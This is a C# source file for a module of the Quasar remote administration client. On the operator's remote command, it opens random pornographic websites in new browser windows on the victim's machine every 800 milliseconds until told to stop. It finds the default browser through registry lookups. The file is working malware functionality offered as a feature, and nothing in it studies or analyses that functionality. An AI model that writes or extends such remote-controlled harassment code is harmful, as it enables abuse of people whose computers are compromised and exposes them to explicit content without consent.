using Microsoft.Win32;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class PornSpamHandler : IMessageProcessor, IDisposable
    {
        private static readonly string[] Urls =
        {
            "https://www.pornhub.com",
            "https://www.xvideos.com",
            "https://www.xhamster.com",
            "https://www.xnxx.com",
            "https://www.redtube.com",
            "https://www.youporn.com",
            "https://www.spankbang.com",
            "https://www.tube8.com",
        };

        private Thread _thread;
        private volatile bool _running;

        public bool CanExecute(IMessage message) => message is DoStartPornSpam || message is DoStopPornSpam;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoStartPornSpam _:
                    Start();
                    break;
                case DoStopPornSpam _:
                    Stop();
                    break;
            }
        }

        private void Start()
        {
            if (_running) return;
            _running = true;
            _thread = new Thread(() =>
            {
                var rng = new Random();
                while (_running)
                {
                    try
                    {
                        OpenInNewWindow(Urls[rng.Next(Urls.Length)]);
                    }
                    catch { }
                    Thread.Sleep(800);
                }
            });
            _thread.IsBackground = true;
            _thread.Start();
        }

        private static void OpenInNewWindow(string url)
        {
            try
            {
                string progId = Microsoft.Win32.Registry.GetValue(
                    @"HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice",
                    "ProgId", null) as string;

                if (progId != null)
                {
                    string command = Microsoft.Win32.Registry.GetValue(
                        $@"HKEY_CLASSES_ROOT\{progId}\shell\open\command",
                        null, null) as string;

                    if (command != null)
                    {
                        string exePath = command.StartsWith("\"")
                            ? command.Substring(1, command.IndexOf('"', 1) - 1)
                            : command.Split(' ')[0];

                        if (File.Exists(exePath))
                        {
                            string exeName = Path.GetFileNameWithoutExtension(exePath).ToLower();
                            string flag = exeName == "firefox" ? "-new-window" : "--new-window";
                            Process.Start(new ProcessStartInfo(exePath, $"{flag} \"{url}\"")
                            {
                                UseShellExecute = false
                            });
                            return;
                        }
                    }
                }
            }
            catch { }

            // Fallback if registry lookup fails
            Process.Start(new ProcessStartInfo(url) { UseShellExecute = true });
        }

        private void Stop()
        {
            _running = false;
        }

        public void Dispose()
        {
            Stop();
        }
    }
}
